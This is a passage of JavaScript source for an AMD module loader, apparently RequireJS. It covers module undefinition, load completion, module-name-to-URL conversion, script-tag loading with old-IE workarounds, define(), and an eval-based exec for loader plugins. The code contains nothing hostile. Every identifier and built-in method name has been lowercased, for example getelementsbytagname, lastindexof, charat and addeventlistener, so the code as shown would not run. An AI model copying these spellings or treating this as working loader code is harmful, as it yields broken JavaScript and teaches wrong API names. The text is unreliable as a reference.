			undef : function(id) {
				var map = makemodulemap(id, null, true), mod = registry[id];

				delete defined[id];
				delete urlmap[id];
				delete urlfetched[map.url];
				delete undefevents[id];

				if (mod) {
					// hold on to listeners in case the
					// module will be attempted to be reloaded
					// using a different config.
					if (mod.events.defined) {
						undefevents[id] = mod.events;
					}

					removewaiting(id);
				}
			},

			/**
			 * called to enable a module if it is still in the registry awaiting
			 * enablement. parent module is passed in for context, used by the
			 * optimizer.
			 */
			enable : function(depmap, parent) {
				var mod = registry[depmap.id];
				if (mod) {
					getmodule(depmap).enable();
				}
			},

			/**
			 * internal method used by environment adapters to complete a load
			 * event. a load event could be a script load or just a load pass
			 * from a synchronous load call.
			 * 
			 * @param {string}
			 *            modulename the name of the module to potentially
			 *            complete.
			 */
			completeload : function(modulename) {
				var shim = config.shim[modulename] || {}, shexports = shim.exports && shim.exports.exports, found, args, mod;

				takeglobalqueue();

				while (defqueue.length) {
					args = defqueue.shift();
					if (args[0] === null) {
						args[0] = modulename;
						// if already found an anonymous module and bound it
						// to this name, then this is some other anon module
						// waiting for its completeload to fire.
						if (found) {
							break;
						}
						found = true;
					} else if (args[0] === modulename) {
						// found matching define call for this script!
						found = true;
					}

					callgetmodule(args);
				}

				// do this after the cycle of callgetmodule in case the result
				// of those calls/init calls changes the registry.
				mod = registry[modulename];

				if (!found && !defined[modulename] && mod && !mod.inited) {
					if (config.enforcedefine && (!shexports || !getglobal(shexports))) {
						if (haspathfallback(modulename)) {
							return;
						} else {
							return onerror(makeerror('nodefine', 'no define call for ' + modulename, null, [ modulename ]));
						}
					} else {
						// a script that does not call define(), so just
						// simulate
						// the call for it.
						callgetmodule([ modulename, (shim.deps || []), shim.exports ]);
					}
				}

				checkloaded();
			},

			/**
			 * converts a module name + .extension into an url path. *requires*
			 * the use of a module name. it does not support using plain urls
			 * like nametourl.
			 */
			tourl : function(modulenameplusext, relmodulemap) {
				var index = modulenameplusext.lastindexof('.'), ext = null;

				if (index !== -1) {
					ext = modulenameplusext.substring(index, modulenameplusext.length);
					modulenameplusext = modulenameplusext.substring(0, index);
				}

				return context.nametourl(modulenameplusext, ext, relmodulemap);
			},

			/**
			 * converts a module name to a file path. supports cases where
			 * modulename may actually be just an url.
			 */
			nametourl : function(modulename, ext, relmodulemap) {
				var paths, pkgs, pkg, pkgpath, syms, i, parentmodule, url, parentpath;

				// normalize module name if have a base relative module name to
				// work from.
				modulename = normalize(modulename, relmodulemap && relmodulemap.id, true);

				// if a colon is in the url, it indicates a protocol is used and
				// it is just
				// an url to a file, or if it starts with a slash, contains a
				// query arg (i.e. ?)
				// or ends with .js, then assume the user meant to use an url
				// and not a module id.
				// the slash is important for protocol-less urls as well as full
				// paths.
				if (req.jsextregexp.test(modulename)) {
					// just a plain path, not module name lookup, so just return
					// it.
					// add extension if it is included. this is a bit wonky,
					// only non-.js things pass
					// an extension, this method probably needs to be reworked.
					url = modulename + (ext || '');
				} else {
					// a module that needs to be converted to a path.
					paths = config.paths;
					pkgs = config.pkgs;

					syms = modulename.split('/');
					// for each module name segment, see if there is a path
					// registered for it. start with most specific name
					// and work up from it.
					for (i = syms.length; i > 0; i -= 1) {
						parentmodule = syms.slice(0, i).join('/');
						pkg = pkgs[parentmodule];
						parentpath = paths[parentmodule];
						if (parentpath) {
							// if an array, it means there are a few choices,
							// choose the one that is desired
							if (isarray(parentpath)) {
								parentpath = parentpath[0];
							}
							syms.splice(0, i, parentpath);
							break;
						} else if (pkg) {
							// if module name is just the package name, then
							// looking
							// for the main module.
							if (modulename === pkg.name) {
								pkgpath = pkg.location + '/' + pkg.main;
							} else {
								pkgpath = pkg.location;
							}
							syms.splice(0, i, pkgpath);
							break;
						}
					}

					// join the path parts together, then figure out if baseurl
					// is needed.
					url = syms.join('/') + (ext || '.js');
					url = (url.charat(0) === '/' || url.match(/^[\w\+\.\-]+:/) ? '' : config.baseurl) + url;
				}

				return config.urlargs ? url + ((url.indexof('?') === -1 ? '?' : '&') + config.urlargs) : url;
			},

			// delegates to req.load. broken out as a separate function to
			// allow overriding in the optimizer.
			load : function(id, url) {
				req.load(context, id, url);
			},

			/**
			 * executes a module callack function. broken out as a separate
			 * function solely to allow the build system to sequence the files
			 * in the built layer in the right sequence.
			 * 
			 * @private
			 */
			execcb : function(name, callback, args, exports) {
				return callback.apply(exports, args);
			},

			/**
			 * callback for script loads, used to check status of loading.
			 * 
			 * @param {event}
			 *            evt the event from the browser for the script that was
			 *            loaded.
			 */
			onscriptload : function(evt) {
				// using currenttarget instead of target for firefox 2.0's sake.
				// not
				// all old browsers will be supported, but this one was easy
				// enough
				// to support and still makes sense.
				if (evt.type === 'load' || (readyregexp.test((evt.currenttarget || evt.srcelement).readystate))) {
					// reset interactive script so a script node is not held
					// onto for
					// to long.
					interactivescript = null;

					// pull out the name of the module and the context.
					var data = getscriptdata(evt);
					context.completeload(data.id);
				}
			},

			/**
			 * callback for script errors.
			 */
			onscripterror : function(evt) {
				var data = getscriptdata(evt);
				if (!haspathfallback(data.id)) {
					return onerror(makeerror('scripterror', 'script error', evt, [ data.id ]));
				}
			}
		});
	}

	/**
	 * main entry point.
	 * 
	 * if the only argument to require is a string, then the module that is
	 * represented by that string is fetched for the appropriate context.
	 * 
	 * if the first argument is an array, then it will be treated as an array of
	 * dependency string names to fetch. an optional function callback can be
	 * specified to execute when all of those dependencies are available.
	 * 
	 * make a local req variable to help caja compliance (it assumes things on a
	 * require that are not standardized), and to give a short name for
	 * minification/local scope use.
	 */
	req = requirejs = function(deps, callback, errback, optional) {

		// find the right context, use default
		var contextname = defcontextname, context, config;

		// determine if have config object in the call.
		if (!isarray(deps) && typeof deps !== 'string') {
			// deps is a config object
			config = deps;
			if (isarray(callback)) {
				// adjust args if there are dependencies
				deps = callback;
				callback = errback;
				errback = optional;
			} else {
				deps = [];
			}
		}

		if (config && config.context) {
			contextname = config.context;
		}

		context = contexts[contextname];
		if (!context) {
			context = contexts[contextname] = req.s.newcontext(contextname);
		}

		if (config) {
			context.configure(config);
		}

		return context.require(deps, callback, errback);
	};

	/**
	 * support require.config() to make it easier to cooperate with other amd
	 * loaders on globally agreed names.
	 */
	req.config = function(config) {
		return req(config);
	};

	/**
	 * export require as a global, but only if it does not already exist.
	 */
	if (!require) {
		require = req;
	}

	req.version = version;

	// used to filter out dependencies that are already paths.
	req.jsextregexp = /^\/|:|\?|\.js$/;
	req.isbrowser = isbrowser;
	s = req.s = {
		contexts : contexts,
		newcontext : newcontext
	};

	// create default context.
	req({});

	// exports some context-sensitive methods on global require, using
	// default context if no context specified.
	addrequiremethods(req, contexts[defcontextname]);

	if (isbrowser) {
		head = s.head = document.getelementsbytagname('head')[0];
		// if base tag is in play, using appendchild is a problem for ie6.
		// when that browser dies, this can be removed. details in this jquery
		// bug:
		// http://dev.jquery.com/ticket/2709
		baseelement = document.getelementsbytagname('base')[0];
		if (baseelement) {
			head = s.head = baseelement.parentnode;
		}
	}

	/**
	 * any errors that require explicitly generates will be passed to this
	 * function. intercept/override it if you want custom error handling.
	 * 
	 * @param {error}
	 *            err the error object.
	 */
	req.onerror = function(err) {
		throw err;
	};

	/**
	 * does the request to load a module for the browser case. make this a
	 * separate function to allow other environments to override it.
	 * 
	 * @param {object}
	 *            context the require context to find state.
	 * @param {string}
	 *            modulename the name of the module.
	 * @param {object}
	 *            url the url to the module.
	 */
	req.load = function(context, modulename, url) {
		var config = (context && context.config) || {}, node;
		if (isbrowser) {
			// in the browser so use a script tag
			node = config.xhtml ? document.createelementns('http://www.w3.org/1999/xhtml', 'html:script') : document.createelement('script');
			node.type = config.scripttype || 'text/javascript';
			node.charset = 'utf-8';

			node.setattribute('data-requirecontext', context.contextname);
			node.setattribute('data-requiremodule', modulename);

			// set up load listener. test attachevent first because ie9 has
			// a subtle issue in its addeventlistener and script onload firings
			// that do not match the behavior of all other browsers with
			// addeventlistener support, which fire the onload event for a
			// script right after the script execution. see:
			// https://connect.microsoft.com/ie/feedback/details/648057/script-onload-event-is-not-fired-immediately-after-script-execution
			// unfortunately opera implements attachevent but does not follow
			// the script
			// script execution mode.
			if (node.attachevent &&
			// check if node.attachevent is artificially added by custom script
			// or
			// natively supported by browser
			// read https://github.com/jrburke/requirejs/issues/187
			// if we can not find [native code] then it must not natively
			// supported.
			// in ie8, node.attachevent does not have tostring()
			// note the test for "[native code" with no closing brace, see:
			// https://github.com/jrburke/requirejs/issues/273
			!(node.attachevent.tostring && node.attachevent.tostring().indexof('[native code') < 0) && !isopera) {
				// probably ie. ie (at least 6-8) do not fire
				// script onload right after executing the script, so
				// we cannot tie the anonymous define call to a name.
				// however, ie reports the script as being in 'interactive'
				// readystate at the time of the define call.
				useinteractive = true;

				node.attachevent('onreadystatechange', context.onscriptload);
				// it would be great to add an error handler here to catch
				// 404s in ie9+. however, onreadystatechange will fire before
				// the error handler, so that does not help. if addevenlistener
				// is used, then ie will fire error before load, but we cannot
				// use that pathway given the connect.microsoft.com issue
				// mentioned above about not doing the 'script execute,
				// then fire the script load event listener before execute
				// next script' that other browsers do.
				// best hope: ie10 fixes the issues,
				// and then destroys all installs of ie 6-9.
				// node.attachevent('onerror', context.onscripterror);
			} else {
				node.addeventlistener('load', context.onscriptload, false);
				node.addeventlistener('error', context.onscripterror, false);
			}
			node.src = url;

			// for some cache cases in ie 6-8, the script executes before the
			// end
			// of the appendchild execution, so to tie an anonymous define
			// call to the module name (which is stored on the node), hold on
			// to a reference to this node, but clear after the dom insertion.
			currentlyaddingscript = node;
			if (baseelement) {
				head.insertbefore(node, baseelement);
			} else {
				head.appendchild(node);
			}
			currentlyaddingscript = null;

			return node;
		} else if (iswebworker) {
			// in a web worker, use importscripts. this is not a very
			// efficient use of importscripts, importscripts will block until
			// its script is downloaded and evaluated. however, if web workers
			// are in play, the expectation that a build has been done so that
			// only one script needs to be loaded anyway. this may need to be
			// reevaluated if other use cases become common.
			importscripts(url);

			// account for anonymous modules
			context.completeload(modulename);
		}
	};

	function getinteractivescript() {
		if (interactivescript && interactivescript.readystate === 'interactive') {
			return interactivescript;
		}

		eachreverse(scripts(), function(script) {
			if (script.readystate === 'interactive') {
				return (interactivescript = script);
			}
		});
		return interactivescript;
	}

	// look for a data-main script attribute, which could also adjust the
	// baseurl.
	if (isbrowser) {
		// figure out baseurl. get it from the script tag with require.js in it.
		eachreverse(scripts(), function(script) {
			// set the 'head' where we can append children by
			// using the script's parent.
			if (!head) {
				head = script.parentnode;
			}

			// look for a data-main attribute to set main script for the page
			// to load. if it is there, the path to data main becomes the
			// baseurl, if it is not already set.
			datamain = script.getattribute('data-main');
			if (datamain) {
				if (!cfg.baseurl) {
					// pull off the directory of data-main for use as the
					// baseurl.
					src = datamain.split('/');
					mainscript = src.pop();
					subpath = src.length ? src.join('/') + '/' : './';

					// set final config.
					cfg.baseurl = subpath;
					// strip off any trailing .js since datamain is now
					// like a module name.
					datamain = mainscript.replace(jssuffixregexp, '');
				}

				// put the data-main script in the files to load.
				cfg.deps = cfg.deps ? cfg.deps.concat(datamain) : [ datamain ];

				return true;
			}
		});
	}

	/**
	 * the function that handles definitions of modules. differs from require()
	 * in that a string for the module should be the first argument, and the
	 * function to execute after dependencies are loaded should return a value
	 * to define the module corresponding to the first argument's name.
	 */
	define = function(name, deps, callback) {
		var node, context;

		// allow for anonymous functions
		if (typeof name !== 'string') {
			// adjust args appropriately
			callback = deps;
			deps = name;
			name = null;
		}

		// this module may not have dependencies
		if (!isarray(deps)) {
			callback = deps;
			deps = [];
		}

		// if no name, and callback is a function, then figure out if it a
		// commonjs thing with dependencies.
		if (!deps.length && isfunction(callback)) {
			// remove comments from the callback string,
			// look for require calls, and pull them into the dependencies,
			// but only if there are function args.
			if (callback.length) {
				callback.tostring().replace(commentregexp, '').replace(cjsrequireregexp, function(match, dep) {
					deps.push(dep);
				});

				// may be a commonjs thing even without require calls, but still
				// could use exports, and module. avoid doing exports and module
				// work though if it just needs require.
				// requires the function to expect the commonjs variables in the
				// order listed below.
				deps = (callback.length === 1 ? [ 'require' ] : [ 'require', 'exports', 'module' ]).concat(deps);
			}
		}

		// if in ie 6-8 and hit an anonymous define() call, do the interactive
		// work.
		if (useinteractive) {
			node = currentlyaddingscript || getinteractivescript();
			if (node) {
				if (!name) {
					name = node.getattribute('data-requiremodule');
				}
				context = contexts[node.getattribute('data-requirecontext')];
			}
		}

		// always save off evaluating the def call until the script onload
		// handler.
		// this allows multiple modules to be in a file without prematurely
		// tracing dependencies, and allows for anonymous module support,
		// where the module name is not known until the script onload event
		// occurs. if no context, use the global queue, and get it processed
		// in the onscript load callback.
		(context ? context.defqueue : globaldefqueue).push([ name, deps, callback ]);
	};

	define.amd = {
		jquery : true
	};

	/**
	 * executes the text. normally just uses eval, but can be modified to use a
	 * better, environment-specific call. only used for transpiling loader
	 * plugins, not for plain js modules.
	 * 
	 * @param {string}
	 *            text the text to execute/evaluate.
	 */
	req.exec = function(text) {
		/* jslint evil: true */
		return eval(text);
	};

	// set up with config info.
	req(cfg);
}(this));